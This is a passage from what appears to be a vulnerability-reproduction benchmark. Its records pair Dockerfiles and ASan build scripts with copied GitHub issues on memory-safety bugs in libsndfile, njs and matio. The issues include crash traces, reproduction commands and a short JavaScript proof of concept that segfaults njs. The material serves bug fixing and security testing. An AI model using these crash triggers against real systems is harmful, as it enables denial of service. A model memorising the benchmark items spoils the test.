if ls *.c >/dev/null 2>&1 || ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
echo "Found C/C++ source files, attempting direct compilation"
if ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
CXX=${CXX:-g++}
echo "Compiling C++ sources with $CXX"
$CXX -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.cpp *.cc 2>/dev/null || true
elif ls *.c >/dev/null 2>&1; then
CC=${CC:-gcc}
echo "Compiling C sources with $CC"
$CC -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.c 2>/dev/null || true
fi
fi
fi
|
/src/libsndfile
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/erikd/libsndfile/issues/427
## Description:
Issue: erikd/libsndfile#427
Title: out of bounds read in sf_write_int
State: closed
Created by: YourButterfly
Created at: 2018-11-22 03:19:43+00:00
Issue Body:
## version
libsndfile: Version released 1.0.28
## description
An issue was discovered in libsndfile 1.0.28. There is an out of bounds read at function sf_write_int, will lead to a denial of service or the others.
```shell
./sndfile-deinterleave tmp/id\:000000\,sig\:06\,src\:000000\,op\:havoc\,rep\:16
Input file : tmp/id:000000,sig:06,src:000000,op:havoc,rep:16
Output files :
tmp/id:000000,sig:06,src:000000,op:havoc,rep:16_00
tmp/id:000000,sig:06,src:000000,op:havoc,rep:16_01
......
tmp/id:000000,sig:06,src:000000,op:havoc,rep:16_254
AddressSanitizer:DEADLYSIGNAL
=================================================================
==49998==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fb21f1413c6 bp 0x7ffe8d3042c0 sp 0x7ffe8d27ba80 T0)
==49998==The signal is caused by a READ memory access.
==49998==Hint: address points to the zero page.
#0 0x7fb21f1413c5 in sf_write_int /home/pwd/fuzz/fuzz-wavpack/libsndfile-1.0.28/src/sndfile.c:2257:2
#1 0x5137b2 in deinterleave_int /home/pwd/fuzz/fuzz-wavpack/libsndfile-1.0.28/programs/sndfile-deinterleave.c:171:4
#2 0x5137b2 in main /home/pwd/fuzz/fuzz-wavpack/libsndfile-1.0.28/programs/sndfile-deinterleave.c:134
#3 0x7fb21e138b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#4 0x41a519 in _start (/home/pwd/fuzz/fuzz-wavpack/libsndfile-1.0.28/installed-asan/bin/sndfile-deinterleave+0x41a519)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/pwd/fuzz/fuzz-wavpack/libsndfile-1.0.28/src/sndfile.c:2257:2 in sf_write_int
==49998==ABORTING
```
## debug info
In function deinterleave_int, 'ch' is 0x10 , leads to the array bounds, and then crash in function sf_write_int .
```txt
// source:sndfile-deinterleave.c+170
165 do
166 { read_len = sf_readf_int (state->infile, state->din.i, BUFFER_LEN) ;
167
168 for (ch = 0 ; ch < state->channels ; ch ++)
169 { for (k = 0 ; k < read_len ; k++)
// state=0x00007ffffff75438 → [...] → 0x0000000000000000, ch=0x10, k=0x0
→ 170 state->dout.i [k] = state->din.i [k * state->channels + ch] ;
171 sf_write_int (state->outfile [ch], state->dout.i, read_len) ;
172 } ;
173 }
174 while (read_len > 0) ;
175
gef➤ p state->channels
$3 = 0xff
gef➤ p state->outfile
$6 = {0x555555769300, 0x55555576c800, 0x55555576fd00, 0x555555773200, 0x555555776700, 0x555555779c00, 0x55555577d100, 0x555555780600, 0x555555783b00, 0x555555787000, 0x55555578a500, 0x55555578da00, 0x555555790f00, 0x555555794400, 0x555555797900, 0x55555579ae00}
......
// source:sndfile.c+2257
// sndfile=0x00007ffffff75408 → 0xf62d0000f7db0000, psf=0x00007ffffff75410 → 0xf62d0000f7db0000
→ 2257 VALIDATE_SNDFILE_AND_ASSIGN_PSF (sndfile, psf, 1) ;
2258
2259 if (len <= 0)
2260 { psf->error = SFE_NEGATIVE_RW_LEN ;
2261 return 0 ;
2262 }
[#0] Id 1, Name: "sndfile-deinter", stopped, reason: SIGSEGV
```
[poc.tar.gz](https://github.com/erikd/libsndfile/files/2606482/poc.tar.gz)
## others
this bug is reported by pwd@360TeamSeri0us,
please send email to [email protected] if you have some quetion.
Comments:
Comment by carnil on 2018-11-22 20:19:24+00:00:
This issue was assigned CVE-2018-19432
---
Comment by evpobr on 2018-11-23 04:30:24+00:00:
Thanks. @erikd usually does bugfixing. Can you check this bug exists in `master` brunch?
---
Comment by YourButterfly on 2018-11-23 06:59:26+00:00:
Thanks, this bug is fixed by checking out the value of channels, in master brunch.
Can you keep this issue active before a new version is released?
Have a nice day!
---
Comment by evpobr on 2018-11-23 07:15:17+00:00:
Probably duplicate of #346. Fixed by 6f32662.
---
Comment by rjoshi18 on 2018-12-04 09:24:14+00:00:
Hi @YourButterfly @evpobr could You please confirm, whether this issue got fixed or not?
---
Comment by erikd on 2018-12-04 22:52:52+00:00:
> could You please confirm, whether this issue got fixed or not?
The code is here in github. Is it not possible for you to confirm?
---
Comment by hlef on 2018-12-07 11:16:10+00:00:
The poc defines a number of channels = 255 > MAX_CHANNELS (=16). This triggers a first overflow which is silently ignored in sndfile-deinterleave.c:main:
```
for (ch = 0 ; ch < state.channels ; ch++) // state.channels is 255 here
{ ...
if ((state.outfile [ch] = sf_open (filename, SFM_WRITE, &sfinfo)) == NULL) // state.outfile is a char[16] array
{ printf ("Not able to open output file '%s'\n%s\n", filename, sf_strerror (NULL)) ;
exit (1) ;
} ;
...
} ;
```
This is the main problem. If a file defines a number of channels > MAX_CHANNELS we should either artificially reduce the number of channels or reject it.
Hence this issue is not a duplicate of #346 but rather a duplicate of #397 fixed in aaea680337267bfb6d2544da878890ee7f1c5077.
(FTR, issue #397 was assigned CVE-2018-13139)
---
Comment by erikd on 2019-01-02 09:27:19+00:00:
This is fixed in Git HEAD:
```
> programs/sndfile-deinterleave oob_sf_write_int\:2257
Error : Input file 'oob_sf_write_int:2257' has too many (255) channels. Limit is 16.
```
as @hlef say, it was fixed in commit aaea680.
Attachments:
https://github.com/erikd/libsndfile/files/2606482/poc.tar.gz
Commit References:
aaea680337267bfb6d2544da878890ee7f1c5077
|
[] |
[
{
"sha": "6f32662",
"url": "https://github.com/libsndfile/libsndfile/commit/6f32662"
},
{
"sha": "aaea680337267bfb6d2544da878890ee7f1c5077",
"url": "https://github.com/libsndfile/libsndfile/commit/aaea680337267bfb6d2544da878890ee7f1c5077"
},
{
"sha": "aaea680",
"url": "https://github.com/libsndfile/libsndfile/commit/aaea680"
},
{
"sha": "df18323c622b54221ee7ace74b177cdcccc152d7",
"url": "https://github.com/libsndfile/libsndfile/commit/df18323c622b54221ee7ace74b177cdcccc152d7"
}
] |
njs.cve-2020-24348
|
nginx/njs
|
c3da13fb18f0d8ec809b346096feab572e634486
| 2020-08-11T09:31:07
|
njs
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial libpcre3-dev subversion
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout c3da13fb18f0d8ec809b346096feab572e634486
WORKDIR $SRC/njs
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
./configure
make njs_fuzzer -j$(nproc)
mkdir -p $SEED_CORPUS_PATH
|
/src/njs
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/322
## Description:
Issue: nginx/njs#322
Title: Segfault in njs_json_stringify_iterator
State: closed
Created by: Changochen
Created at: 2020-06-27 19:55:59+00:00
Labels: bug, fuzzer, fluff
Issue Body:
Version:`0.4.2`, git commit `32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5`
POC:
```javascript
var array = [];
var funky;
funky = {
get value() { array[10000000] = 12; }
};
for (var i = 0; i < 10; i++)
array[i] = i;
array[3] = funky;
'' == JSON.stringify(array);
```
cmd: `njs poc.js`
Stack dump:
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==181398==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000040 (pc 0x7f2cbf620477 bp 0x7fff1a082ad0 sp 0x7fff1a082288 T0)
==181398==The signal is caused by a READ memory access.
==181398==Hint: address points to the zero page.
#0 0x7f2cbf620477 in memcpy /build/glibc-OTsEL5/glibc-2.27/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:139
#1 0x4938d1 in __asan_memcpy /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
#2 0x5eb14a in njs_json_stringify_iterator /home/yongheng/njs/src/njs_json.c:1317:33
#3 0x5eb14a in njs_json_stringify /home/yongheng/njs/src/njs_json.c:283:12
#4 0x5ff82e in njs_function_native_call /home/yongheng/njs/src/njs_function.c:707:11
#5 0x507611 in njs_function_frame_invoke /home/yongheng/njs/src/njs_function.h:172:16
#6 0x507611 in njs_vmcode_interpreter /home/yongheng/njs/src/njs_vmcode.c:778:23
#7 0x4c8f01 in njs_process_script /home/yongheng/njs/src/njs_shell.c:843:19
#8 0x4c68ce in njs_process_file /home/yongheng/njs/src/njs_shell.c:562:11
#9 0x4c68ce in main /home/yongheng/njs/src/njs_shell.c:286:15
#10 0x7f2cbf586b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#11 0x41c089 in _start (/home/yongheng/njs/build/njs+0x41c089)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /build/glibc-OTsEL5/glibc-2.27/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:139 in memcpy
==181398==ABORTING
```
Commit References:
32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5
|
[] |
[
{
"sha": "32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5",
"url": "https://github.com/nginx/njs/commit/32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5"
},
{
"sha": "63aa001ebd7a386939851cf8b2c0332d718f5c23",
"url": "https://github.com/nginx/njs/commit/63aa001ebd7a386939851cf8b2c0332d718f5c23"
}
] |
libsndfile.cve-2021-3246
|
libsndfile/libsndfile
|
68958f9c9199dad97dcd10700df3746b2cd9b8a3
| 2020-09-19T01:48:47
|
libsndfile
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN git clone https://github.com/libsndfile/libsndfile libsndfile
RUN git -C libsndfile checkout 68958f9c9199dad97dcd10700df3746b2cd9b8a3
WORKDIR $SRC/libsndfile
COPY build.sh $SRC/
|
#!/bin/bash
# Default build script template for C/C++ projects
set -eu
# Define configuration options
CONFIG_OPTS="--disable-shared"
CMAKE_OPTS="-DCMAKE_BUILD_TYPE=Debug"
MAKE_OPTS="-j$(nproc)"
BUILD_DIR="build"
# 1. Run build preparation scripts if they exist
for prep_script in buildconf autogen.sh bootstrap; do
if [ -x "$prep_script" ]; then
echo "Running $prep_script..."
./$prep_script
break
elif [ -f "$prep_script" ]; then
echo "Found $prep_script but it's not executable, setting permissions..."
chmod +x $prep_script
./$prep_script
break
fi
done
# 2. Handle different build systems
if [ -f "configure" ]; then
echo "Found configure script, running with options: $CONFIG_OPTS"
./configure $CONFIG_OPTS
echo "Building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "CMakeLists.txt" ]; then
echo "Found CMakeLists.txt, using CMake build system"
mkdir -p $BUILD_DIR
cd $BUILD_DIR
cmake $CMAKE_OPTS ..
make $MAKE_OPTS
elif [ -f "Makefile" ] || [ -f "makefile" ]; then
echo "Found Makefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "meson.build" ]; then
echo "Found meson.build, using Meson build system"
mkdir -p $BUILD_DIR
meson setup $BUILD_DIR .
cd $BUILD_DIR
ninja
elif [ -f "GNUmakefile" ]; then
echo "Found GNUmakefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -d ".git" ] && [ -f "Makefile.am" ]; then
echo "Found Makefile.am, running autoreconf"
autoreconf -i
./configure $CONFIG_OPTS
make $MAKE_OPTS
else
echo "WARNING: No recognized build system found!"
echo "Trying generic approach:"
# Try to detect common source patterns and compile them
if ls *.c >/dev/null 2>&1 || ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
echo "Found C/C++ source files, attempting direct compilation"
if ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then
CXX=${CXX:-g++}
echo "Compiling C++ sources with $CXX"
$CXX -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.cpp *.cc 2>/dev/null || true
elif ls *.c >/dev/null 2>&1; then
CC=${CC:-gcc}
echo "Compiling C sources with $CC"
$CC -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.c 2>/dev/null || true
fi
fi
fi
|
/src/libsndfile
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/libsndfile/libsndfile/issues/687
## Description:
Issue: libsndfile/libsndfile#687
Title: heap-buffer-overflow in in msadpcm_decode_block
State: closed
Created by: andreafioraldi
Created at: 2021-01-15 10:43:55+00:00
Labels: Bug
Issue Body:
Hi,
fuzzing sndfile-info with AFL++ I found a heap-buffer-overflow in in msadpcm_decode_block /home/andreaf/real/libsndfile/src/ms_adpcm.c:279
I'm on an x86-64 Ubuntu 20.04 with Clang 10.
The AddressSanitizer report is the following:
```
=================================================================
==24888==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000001238 at pc 0x0000005ebedc bp 0x7ffced651bd0 sp 0x7ffced651bc8
WRITE of size 2 at 0x621000001238 thread T0
#0 0x5ebedb in msadpcm_decode_block /home/andreaf/libsndfile/src/ms_adpcm.c:279:31
#1 0x5e9cf8 in wavlike_msadpcm_init /home/andreaf/libsndfile/src/ms_adpcm.c:171:3
#2 0x566da9 in wav_open /home/andreaf/libsndfile/src/wav.c:258:14
#3 0x4cc6d2 in psf_open_file /home/andreaf/libsndfile/src/sndfile.c:3080:13
#4 0x4caa5e in sf_open /home/andreaf/libsndfile/src/sndfile.c:359:9
#5 0x4c57dd in cart_dump /home/andreaf/libsndfile/programs/sndfile-info.c:479:14
#6 0x4c36c3 in main /home/andreaf/libsndfile/programs/sndfile-info.c:96:13
#7 0x7f114ca61bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
#8 0x41b4c9 in _start (/home/andreaf/libsndfile/programs/sndfile-info+0x41b4c9)
0x621000001238 is located 0 bytes to the right of 4408-byte region [0x621000000100,0x621000001238)
allocated by thread T0 here:
#0 0x493d82 in calloc (/home/andreaf/libsndfile/programs/sndfile-info+0x493d82)
#1 0x5e90b4 in wavlike_msadpcm_init /home/andreaf/libsndfile/src/ms_adpcm.c:138:27
#2 0x566da9 in wav_open /home/andreaf/libsndfile/src/wav.c:258:14
#3 0x4cc6d2 in psf_open_file /home/andreaf/libsndfile/src/sndfile.c:3080:13
#4 0x4caa5e in sf_open /home/andreaf/libsndfile/src/sndfile.c:359:9
#5 0x4c57dd in cart_dump /home/andreaf/libsndfile/programs/sndfile-info.c:479:14
#6 0x4c36c3 in main /home/andreaf/libsndfile/programs/sndfile-info.c:96:13
#7 0x7f114ca61bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/andreaf/libsndfile/src/ms_adpcm.c:279:31 in msadpcm_decode_block
Shadow bytes around the buggy address:
0x0c427fff81f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff8200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff8210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff8220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff8230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c427fff8240: 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa
0x0c427fff8250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==24888==ABORTING
```
To reproduce on git master:
```
export CC='clang-10 -fsanitize=address'
export CFLAGS='-g'
./configure --disable-shared
make
./programs/sndfile-info --cart ./sndfile_heap_overflow
```
The testcase that triggers the bug is (decompress it before):
[sndfile_heap_overflow.tar.gz](https://github.com/libsndfile/libsndfile/files/5819990/sndfile_heap_overflow.tar.gz)
Comments:
Comment by evpobr on 2021-01-16 05:16:30+00:00:
Hi @andreafioraldi, thanks for report.
---
Comment by zodf0055980 on 2021-01-25 07:23:35+00:00:
I think this problem is about` BlockAlign` is not match `NumChannels * BitsPerSample / 8`.
In this poc, BlockAlign = 1280, NumChannels = 128, BitsPerSample (Bit Width) = 1.
In `wavpack`, it have [this check](https://github.com/dbry/WavPack/blob/bb175a626586b0cc7afab78ef5fcc2cc98afa861/cli/riff.c#L189) and this POC not pass.
```
if (!WaveHeader.NumChannels || WaveHeader.NumChannels > 256 ||
WaveHeader.BlockAlign / WaveHeader.NumChannels < (config->bits_per_sample + 7) / 8 ||
WaveHeader.BlockAlign / WaveHeader.NumChannels > 4 ||
WaveHeader.BlockAlign % WaveHeader.NumChannels)
supported = FALSE;
```
---
Comment by zodf0055980 on 2021-01-26 21:01:56+00:00:
Oop, maybe `blockalign == bitwidth * channels / 8` is only for WAVE_FORMAT_PCM .
https://github.com/libsndfile/libsndfile/blob/251a435566bd798a45629425f3a61df8d61e3ba1/src/wavlike.c#L150-L155
In the `make test` test case, ima_adpcm.wav doesn't have this feature.
```
File : ima_adpcm.wav
Length : 4668
RIFF : 4660
WAVE
fmt : 20
Format : 0x11 => WAVE_FORMAT_IMA_ADPCM
Channels : 1
Sample Rate : 16000
Block Align : 512
Bit Width : 4
Extra Bytes : 2
Samples/Block : 1017
Bytes/sec : 8055 (should be 15)
fact : 4
frames : 9153
data : 4608
End
```
---
Comment by tamir-ben on 2021-07-21 11:57:47+00:00:
Hi, is there a plan of fixing the issue?
Or is the fix for #697 sufficient for this issue as well? That is, https://github.com/libsndfile/libsndfile/commit/9e0e55f8bfa60bddca083ff85699f855c91c42e7
---
Comment by evpobr on 2021-07-21 14:41:50+00:00:
Hi @galaktipus , it was fixed: https://oss-fuzz.com/testcase-detail/5696502087024640. I guess i forgot to close this issue.
You can use master branch, we tagged unofficial release 1.1.0beta1 there.
---
Comment by ajakk on 2021-07-21 21:20:07+00:00:
> Hi @galaktipus , it was fixed: https://oss-fuzz.com/testcase-detail/5696502087024640. I guess i forgot to close this issue.
>
> You can use master branch, we tagged unofficial release 1.1.0beta1 there.
I don't see a tag, maybe it wasn't pushed? That link is also behind a login, can you point directly to a fix?
---
Comment by evpobr on 2021-07-22 04:48:19+00:00:
@galaktipus , actually you can use master branch.
@SoapGentoo , could you create tag for 1.1.0beta1?
---
Comment by SoapGentoo on 2021-07-22 10:30:19+00:00:
@evpobr sorry, forgot to push for beta1, pushed now
---
Comment by carnil on 2021-07-23 18:54:11+00:00:
CVE-2021-3246 appears to have been assigned for this issue.
---
Comment by evpobr on 2021-07-24 07:47:57+00:00:
@carnil , thanks.
---
Comment by krisfed on 2021-08-11 14:47:26+00:00:
Thank you very much for fixing this! Just to confirm, is this the [commit](https://github.com/libsndfile/libsndfile/commit/deb669ee8be55a94565f6f8a6b60890c2e7c6f32#diff-3bb9934284df08f6cc86dfd9badec919ff89d0967670e6247415064e3ca30c96 ) and the pull request https://github.com/libsndfile/libsndfile/pull/713 that fixes this issue?
I would also appreciate any information about the approximate timeline for the next official release... I think this fix is not in 1.0.31, and we are somewhat limited in ability to address CVEs by upgrading to an unofficial beta releases or by patching. So any info about the plans for the next release would be very helpful!
---
Comment by evpobr on 2021-08-12 05:59:23+00:00:
> Thank you very much for fixing this! Just to confirm, is this the [commit](https://github.com/libsndfile/libsndfile/commit/deb669ee8be55a94565f6f8a6b60890c2e7c6f32#diff-3bb9934284df08f6cc86dfd9badec919ff89d0967670e6247415064e3ca30c96) and the pull request #713 that fixes this issue?
Yes.
> I would also appreciate any information about the approximate timeline for the next official release... I think this fix is not in 1.0.31, and we are somewhat limited in ability to address CVEs by upgrading to an unofficial beta releases or by patching. So any info about the plans for the next release would be very helpful!
Unfortunately, there are no exact dates. I hope we will release 1.1.0 this year. We're waiting for @arthurt to finish whatever he wanted about the MP3 format, but he is probably very busy at work or maybe resting. We'll wait for him to respond.
---
Comment by arthurt on 2021-08-13 02:40:09+00:00:
Uh oh, I thought we were waiting on something else!
---
Comment by evpobr on 2021-08-13 04:46:25+00:00:
No :smile:
---
Comment by DerDakon on 2021-08-30 09:15:43+00:00:
The CVE states that only 1.0.30 is affected. I think that e4cc9d350ab162374ebe2e88d712dba70e511a3b introduced the incomplete check, which is in 1.0.26. But given that there was no check before I assume that even older versions are affected. Can you confirm this, at least that >1.0.26 are affected, and update the CVE information, please?
---
Comment by andreafioraldi on 2021-08-30 10:01:10+00:00:
I found the bug fuzzing the 1.0.28 fyi
---
Comment by ajakk on 2021-08-30 13:03:22+00:00:
> The CVE states that only 1.0.30 is affected. I think that [e4cc9d3](https://github.com/libsndfile/libsndfile/commit/e4cc9d350ab162374ebe2e88d712dba70e511a3b) introduced the incomplete check, which is in 1.0.26. But given that there was no check before I assume that even older versions are affected. Can you confirm this, at least that >1.0.26 are affected, and update the CVE information, please?
Anyone can request CVE data to be updated:
https://cveform.mitre.org
---
Comment by evpobr on 2021-08-30 17:03:42+00:00:
Hi everybody. It would be nice to update CVE. Maybe it is better to wait for 1.1.0 with fix and then update description?
---
Comment by KamicDemon on 2022-01-18 07:56:49+00:00:
Hello all,
I'm testing a black box Linux system that supposedly uses a version of libsndfile vulnerable to the CVEs related to this issue. Has made a .wav file PoC that would induce a crash indicative of vulnerability available? It would be helpful to test systems that don't have arbitrary execution access enabled on them. Thank you!
---
Comment by evpobr on 2022-01-18 08:40:22+00:00:
Hi @KamicDemon
> Has made a .wav file PoC that would induce a crash indicative of vulnerability available?
Hmm, i didn't quite understand, do you need a text file or did you create it?
---
Comment by ajakk on 2022-01-19 00:36:08+00:00:
> Hello all, I'm testing a black box Linux system that supposedly uses a version of libsndfile vulnerable to the CVEs related to this issue. Has made a .wav file PoC that would induce a crash indicative of vulnerability available? It would be helpful to test systems that don't have arbitrary execution access enabled on them. Thank you!
The test case is in the original report.
---
Comment by KamicDemon on 2022-01-19 03:37:53+00:00:
> Hi @KamicDemon
>
> > Has made a .wav file PoC that would induce a crash indicative of vulnerability available?
>
> Hmm, i didn't quite understand, do you need a text file or did you create it?
Hi, thanks for the reply. I may have misunderstood the nature of the vulnerability in question. I assumed it could be triggered simply by playing a crafted WAV file on a device using the vulnerable version of Libsnd. I was asking if anyone had made a .wav PoC file, but forgot to type out the word "anyone"
Attachments:
https://github.com/libsndfile/libsndfile/files/5819990/sndfile_heap_overflow.tar.gz
Commit References:
deb669ee8be55a94565f6f8a6b60890c2e7c6f32
9e0e55f8bfa60bddca083ff85699f855c91c42e7
3bb9934284df08f6cc86dfd9badec919ff89d096
bb175a626586b0cc7afab78ef5fcc2cc98afa861
e4cc9d350ab162374ebe2e88d712dba70e511a3b
251a435566bd798a45629425f3a61df8d61e3ba1
|
[] |
[
{
"sha": "bb175a626586b0cc7afab78ef5fcc2cc98afa861",
"url": "https://github.com/libsndfile/libsndfile/commit/bb175a626586b0cc7afab78ef5fcc2cc98afa861"
},
{
"sha": "251a435566bd798a45629425f3a61df8d61e3ba1",
"url": "https://github.com/libsndfile/libsndfile/commit/251a435566bd798a45629425f3a61df8d61e3ba1"
},
{
"sha": "9e0e55f8bfa60bddca083ff85699f855c91c42e7",
"url": "https://github.com/libsndfile/libsndfile/commit/9e0e55f8bfa60bddca083ff85699f855c91c42e7"
},
{
"sha": "deb669ee8be55a94565f6f8a6b60890c2e7c6f32",
"url": "https://github.com/libsndfile/libsndfile/commit/deb669ee8be55a94565f6f8a6b60890c2e7c6f32"
},
{
"sha": "e4cc9d350ab162374ebe2e88d712dba70e511a3b",
"url": "https://github.com/libsndfile/libsndfile/commit/e4cc9d350ab162374ebe2e88d712dba70e511a3b"
},
{
"sha": "2db6a8fd2e1e7d9d1ad309d4f4110712f7cb4e5d",
"url": "https://github.com/libsndfile/libsndfile/commit/2db6a8fd2e1e7d9d1ad309d4f4110712f7cb4e5d"
},
{
"sha": "a664b71c0d7fc6ff3b026888284879eeed4944e0",
"url": "https://github.com/libsndfile/libsndfile/commit/a664b71c0d7fc6ff3b026888284879eeed4944e0"
},
{
"sha": "649c6a9e46a646f8b038b86bc07047ae942eafe0",
"url": "https://github.com/libsndfile/libsndfile/commit/649c6a9e46a646f8b038b86bc07047ae942eafe0"
},
{
"sha": "53654d8b935bfa5a4a6fb37d5ed4cfe7b1c3c159",
"url": "https://github.com/libsndfile/libsndfile/commit/53654d8b935bfa5a4a6fb37d5ed4cfe7b1c3c159"
},
{
"sha": "243b518137d9a921a4c8630accdde2b6b64975b2",
"url": "https://github.com/libsndfile/libsndfile/commit/243b518137d9a921a4c8630accdde2b6b64975b2"
},
{
"sha": "68a4bc0a9ded4e23c173ef5a2b982209e590d262",
"url": "https://github.com/libsndfile/libsndfile/commit/68a4bc0a9ded4e23c173ef5a2b982209e590d262"
},
{
"sha": "3bb9934284df08f6cc86dfd9badec919ff89d096",
"url": "https://github.com/libsndfile/libsndfile/commit/3bb9934284df08f6cc86dfd9badec919ff89d096"
}
] |
matio.cve-2019-20020
|
tbeu/matio
|
64f793668e09216029447990702c145403d14375
| 2019-07-18T13:14:38
|
matio
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/tbeu/matio matio
RUN git -C matio checkout 64f793668e09216029447990702c145403d14375
WORKDIR $SRC/matio
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
./configure
make -j$(nproc)
make install -j$(nproc)
|
/src/matio
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/tbeu/matio/issues/128
## Description:
Issue: tbeu/matio#128
Title: There is a stack-based buffer overflow in the ReadNextStructField function of mat5.c(at 1393)
State: closed
Created by: gutiniao
Created at: 2019-11-07 03:23:25+00:00
Issue Body:
A crafted input will lead to crash in mat5.c at matio 1.5.17.
Triggered by
./matdump POC
Poc
[002-stackover-ReadNextStructField-mat51393](https://github.com/gutiniao/afltest/blob/master/002-stackover-ReadNextStructField-mat51393)
The ASAN information is as follows:
```
./matdump 002-stackover-ReadNextStructField-mat51393
InflateArrayFlags: inflate returned data error
InflateRankDims: inflate returned data error
InflateVarTag: inflate returned data error
InflateVarTag: inflate returned data error
Rank: 0
InflateRankDims: inflate returned data error
=================================================================
==32164==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcc03efb10 at pc 0x7f0ff115f208 bp 0x7ffcc03ef900 sp 0x7ffcc03ef8f0
READ of size 4 at 0x7ffcc03efb10 thread T0
#0 0x7f0ff115f207 in ReadNextStructField /home/matio_asan/src/mat5.c:1393
#1 0x7f0ff1219e10 in Mat_VarReadNextInfo5 /home/matio_asan/src/mat5.c:4959
#2 0x7f0ff123046b in Mat_VarReadNextInfo /home/matio_asan/src/mat.c:2342
#3 0x408126 in main /home/matio_asan/tools/matdump.c:944
#4 0x7f0ff0a0b82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#5 0x401b58 in _start (/usr/local/matio_asan/bin/matdump+0x401b58)
Address 0x7ffcc03efb10 is located in stack of thread T0 at offset 352 in frame
#0 0x7f0ff115d8d6 in ReadNextStructField /home/matio_asan/src/mat5.c:1212
This frame has 5 object(s):
[32, 40) 'nelems'
[96, 104) 'nelems_x_nfields'
[160, 168) 'dims'
[224, 248) 'buf'
[288, 352) 'uncomp_buf' <== Memory access at offset 352 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/matio_asan/src/mat5.c:1393 ReadNextStructField
Shadow bytes around the buggy address:
0x100018075f10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100018075f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100018075f30: 00 00 00 00 00 00 f1 f1 f1 f1 00 f4 f4 f4 f2 f2
0x100018075f40: f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 f4 f4 f4 f2 f2
0x100018075f50: f2 f2 00 00 00 f4 f2 f2 f2 f2 00 00 00 00 00 00
=>0x100018075f60: 00 00[f3]f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00
0x100018075f70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1
